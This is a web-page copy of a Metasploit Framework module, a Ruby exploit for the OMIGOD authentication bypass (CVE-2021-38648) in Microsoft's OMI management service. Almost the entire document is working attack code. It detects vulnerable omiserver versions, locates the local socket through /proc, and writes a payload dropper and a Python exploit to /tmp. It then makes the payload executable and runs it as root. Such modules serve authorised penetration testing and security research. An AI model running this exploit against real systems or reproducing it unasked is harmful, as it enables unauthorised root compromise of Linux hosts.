Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/cve_2021_38648_omigod.rb
33065 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::Process
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze
16
DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
23
'Description' => %q{
24
By removing the authentication exchange, an attacker can issue requests to the local OMI management socket
25
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
26
OMI version 1.6.8-1 (released September 8th 2021).
27
},
28
'References' => [
29
['CVE', '2021-38648'],
30
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],
31
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
32
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
33
],
34
'Author' => [
35
'Nir Ohfeld', # vulnerability discovery & research
36
'Shir Tamari', # vulnerability discovery & research
37
'Spencer McIntyre' # metasploit module
38
],
39
'DisclosureDate' => '2021-09-14',
40
'License' => MSF_LICENSE,
41
'SessionTypes' => ['shell', 'meterpreter'],
42
'Targets' => [
43
[
44
'Unix Command',
45
{
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'Type' => :unix_cmd,
49
'Payload' => { 'DisableNops' => true, 'Space' => 256 }
50
}
51
],
52
[
53
'Linux Dropper',
54
{
55
'Platform' => 'linux',
56
'Arch' => [ARCH_X86, ARCH_X64],
57
'Type' => :linux_dropper
58
}
59
]
60
],
61
'DefaultTarget' => 1,
62
'DefaultOptions' => {
63
'MeterpreterTryToFork' => true
64
},
65
'Notes' => {
66
'AKA' => ['OMIGOD'],
67
'Stability' => [CRASH_SAFE],
68
'Reliability' => [REPEATABLE_SESSION],
69
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
70
}
71
)
72
)
73
74
register_advanced_options([
75
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
76
OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])
77
])
78
end
79
80
def check
81
pid = pidof('omiserver').first
82
return CheckCode::Safe('The omiserver process was not found.') if pid.nil?
83
84
omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
85
omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
86
return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?
87
88
vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
89
if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
90
version = Regexp.last_match(1)
91
else
92
return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
93
end
94
95
return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')
96
97
CheckCode::Appears("Version #{version} is affected.")
98
end
99
100
def upload(path, data)
101
print_status "Writing '#{path}' (#{data.size} bytes) ..."
102
write_file path, data
103
ensure
104
register_file_for_cleanup(path)
105
end
106
107
def find_exec_program
108
%w[python python3 python2].select(&method(:command_exists?)).first
109
end
110
111
def get_socket_path
112
socket_path = datastore['SocketPath']
113
return socket_path unless socket_path.blank?
114
115
pid = pidof('omiserver').first
116
fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?
117
118
if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
119
socket_path = Regexp.last_match(1)
120
else
121
begin
122
socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
123
rescue StandardError # rubocop:disable Lint/SuppressedException
124
end
125
end
126
127
fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?
128
129
vprint_status("Socket path: #{socket_path}")
130
socket_path
131
end
132
133
def exploit
134
python_binary = find_exec_program
135
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
136
137
vprint_status("Using '#{python_binary}' to run the exploit")
138
socket_path = get_socket_path
139
path = datastore['WritableDir']
140
python_script = rand_text_alphanumeric(5..10) + '.py'
141
142
case target['Type']
143
when :unix_cmd
144
root_cmd = payload.encoded
145
when :linux_dropper
146
unless path.start_with?('/')
147
# the command will be executed from a different working directory so use an absolute path
148
fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
149
end
150
151
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
152
if payload_path.length > 256
153
# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the
154
# command that is executed
155
fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
156
end
157
158
upload(payload_path, generate_payload_exe)
159
cmd_exec("chmod +x '#{payload_path}'")
160
root_cmd = payload_path
161
end
162
163
upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
164
cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"
165
vprint_status("Running #{cmd}")
166
output = cmd_exec(cmd)
167
vprint_line(output) unless output.blank?
168
end
169
end
170
171